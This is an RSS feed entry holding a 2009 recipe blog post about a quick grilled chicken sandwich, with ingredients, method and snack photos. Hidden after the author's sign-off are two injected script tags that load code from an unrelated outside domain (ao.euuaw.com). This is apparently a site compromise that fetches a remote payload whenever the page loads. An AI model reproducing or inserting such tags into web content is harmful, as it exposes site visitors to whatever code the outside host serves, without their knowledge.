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	<title>ZestyCook &#187; oven baked fries</title>
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		<title>9 Minute Grilled Chicken Sandwich</title>
		<link>http://zestycook.com/9-minute-grilled-chicken-sandwich/</link>
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		<pubDate>Mon, 19 Jan 2009 12:00:39 +0000</pubDate>
		<dc:creator>ZestyCook</dc:creator>
				<category><![CDATA[Entrees]]></category>
		<category><![CDATA[almonds]]></category>
		<category><![CDATA[chicken]]></category>
		<category><![CDATA[grill]]></category>
		<category><![CDATA[oven baked fries]]></category>

		<guid isPermaLink="false">http://zestycook.com/?p=1771</guid>
		<description><![CDATA[
			
				
			
		
Monday is here again!  I hope you had a great weekend.  Mine was great minus all the cleaning we did to prepare for the open house on Sunday but oh well, things you have to do.
The weather was really cold all weekend, very very cold.  Other than scooting out for groceries and some other necessities [...]<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/9-minute-grilled-chicken-sandwich/">9 Minute Grilled Chicken Sandwich</a></p>



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<li><a href='http://zestycook.com/cool-chicken-sandwich-w-red-pepper-jelly/' rel='bookmark' title='Permanent Link: Cool Chicken Sandwich w/ Red Pepper Jelly'>Cool Chicken Sandwich w/ Red Pepper Jelly</a></li>
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</ol>]]></description>
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<p>Monday is here again!  I hope you had a great <strong>weekend</strong>.  Mine was great minus all the cleaning we did to prepare for the open house on Sunday but oh well, things you have to do.</p>
<p>The weather was really cold all weekend, very very cold.  Other than scooting out for groceries and some other <em>necessities</em> such as <strong>chocolate covered almonds</strong> and <strong>licorice babies</strong>, the traveling was pretty much kept to a minimum.</p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/grilled_chicken_sandwich.jpg"><img class="size-full wp-image-1777 aligncenter" title="grilled_chicken_sandwich" src="http://zestycook.com/wp-content/uploads/2009/01/grilled_chicken_sandwich.jpg" alt="" width="500" height="375" /></a></p>
<p>This quick <strong>sandwich </strong>I am sharing today is a <strong>super simple staple</strong> at the zesty house.  It takes a total of 9 minutes to make which in my mind is pretty awesome.  I find the hardest thing to do is cook when you are beyond hungry.  The next time you are in that situation &#8211; this sandwich is your answer!</p>
<p>For grilling in the winter I use my <a href="http://www.amazon.com/gp/product/B0016CNEEK?ie=UTF8&amp;tag=zescoo-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B0016CNEEK" target="_blank"><strong>Hamilton Beach Indoor Grill</strong></a>.  It is simple and easy to clean which, for me, are keys to an essential kitchen gadget.</p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/hamilton_beach.jpg"><img class="size-full wp-image-1773 aligncenter" title="hamilton_beach" src="http://zestycook.com/wp-content/uploads/2009/01/hamilton_beach.jpg" alt="" width="500" height="500" /></a></p>
<p><span id="more-1771"></span></p>
<h3>Ingredients</h3>
<ul>
<li>Boneless Skinless Chicken Breast</li>
<li>Cooking Spray</li>
<li>Baby Spinach</li>
<li>Cheddar Cheese (Or whatever cheese you have on hand)</li>
<li>Whole Wheat Roll/Bun</li>
</ul>
<h3>Method</h3>
<ol>
<li>Preheat Grill.</li>
<li>Coat top and bottom of grill with cooking spray.</li>
<li>Place chicken breast on grill and close the lid.</li>
<li>Wait for 8 minutes, meanwhile toast your bun and prepare your cheese and spinach toppings.</li>
<li>Assemble Sandwich and top with your favorite condiment (I went with the <a title="Basil Mayonnaise" href="http://zestycook.com/zesty-buys-the-magic-bullet/" target="_self">basil mayonnaise</a> ) and a great side dish (<a title="Oven baked Fries" href="http://zestycook.com/baked-potato-wedges-with-thyme/" target="_self">Oven Baked Fries</a>).</li>
<p><a href="http://zestycook.com/wp-content/uploads/2009/01/grilled_chicken_with_baked_fries.jpg"><img class="aligncenter size-full wp-image-1778" title="grilled_chicken_with_baked_fries" src="http://zestycook.com/wp-content/uploads/2009/01/grilled_chicken_with_baked_fries.jpg" alt="" width="500" height="375" /></a></p>
<li>ENJOY!</li>
</ol>
<p><em><strong>Zesty Tip:</strong> When using an indoor grill, I like to keep the meat as plain as possible while cooking to avoid burning and big mess.  In order to avoid having a bland sandwich, take the opportunity to kick up your condiments and toppings.</em></p>
<p>Here are some of the treats that I picked up on Saturday&#8230;. Yummm</p>
<p><strong>Licorice Babies</strong></p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/licorice_babies.jpg"><img class="size-full wp-image-1775 aligncenter" title="licorice_babies" src="http://zestycook.com/wp-content/uploads/2009/01/licorice_babies.jpg" alt="" width="500" height="375" /></a></p>
<p><strong>Chocolate Covered Almonds</strong></p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/chocolate_covered_almonds.jpg"><img class="size-full wp-image-1772 aligncenter" title="chocolate_covered_almonds" src="http://zestycook.com/wp-content/uploads/2009/01/chocolate_covered_almonds.jpg" alt="" width="500" height="375" /></a></p>
<p><strong>Ju Jubes</strong></p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/ju_jubes.jpg"><img class="size-full wp-image-1774 aligncenter" title="ju_jubes" src="http://zestycook.com/wp-content/uploads/2009/01/ju_jubes.jpg" alt="" width="500" height="375" /></a></p>
<p><strong>Macaroon Truffles</strong></p>
<p style="text-align: center;"><a href="http://zestycook.com/wp-content/uploads/2009/01/macaroon_truffles.jpg"><img class="size-full wp-image-1776 aligncenter" title="macaroon_truffles" src="http://zestycook.com/wp-content/uploads/2009/01/macaroon_truffles.jpg" alt="" width="500" height="375" /></a></p>
<p>I hope that you have a great week.  I am not totally sure what to share with you for tomorrow.  <strong>Do you have something you want to see?  Tell Zesty what to make!</strong></p>
<p>Take Care</p>
<p>zesty<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
<p>Download ZestyCook.com's Recipe E-book Free for Subscribers only:  <a onClick='javascript:urchinTracker("/goal/feed/ebookdownload/")' href="http://zestycook.com/downloads/ebook/simply_zesty_ebook.pdf">Simply Zesty</a><br/><br/><a href="http://zestycook.com/9-minute-grilled-chicken-sandwich/">9 Minute Grilled Chicken Sandwich</a></p>
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<p>Related posts:<ol><li><a href='http://zestycook.com/grilled-sour-dough-turkey-sandwich/' rel='bookmark' title='Permanent Link: Grilled Sour Dough Turkey Sandwich'>Grilled Sour Dough Turkey Sandwich</a></li>
<li><a href='http://zestycook.com/cool-chicken-sandwich-w-red-pepper-jelly/' rel='bookmark' title='Permanent Link: Cool Chicken Sandwich w/ Red Pepper Jelly'>Cool Chicken Sandwich w/ Red Pepper Jelly</a></li>
<li><a href='http://zestycook.com/radical-raspberry-chicken-w-new-potatoes/' rel='bookmark' title='Permanent Link: Radical Raspberry Chicken w/ New Potatoes and Slaw'>Radical Raspberry Chicken w/ New Potatoes and Slaw</a></li>
</ol></p>]]></content:encoded>
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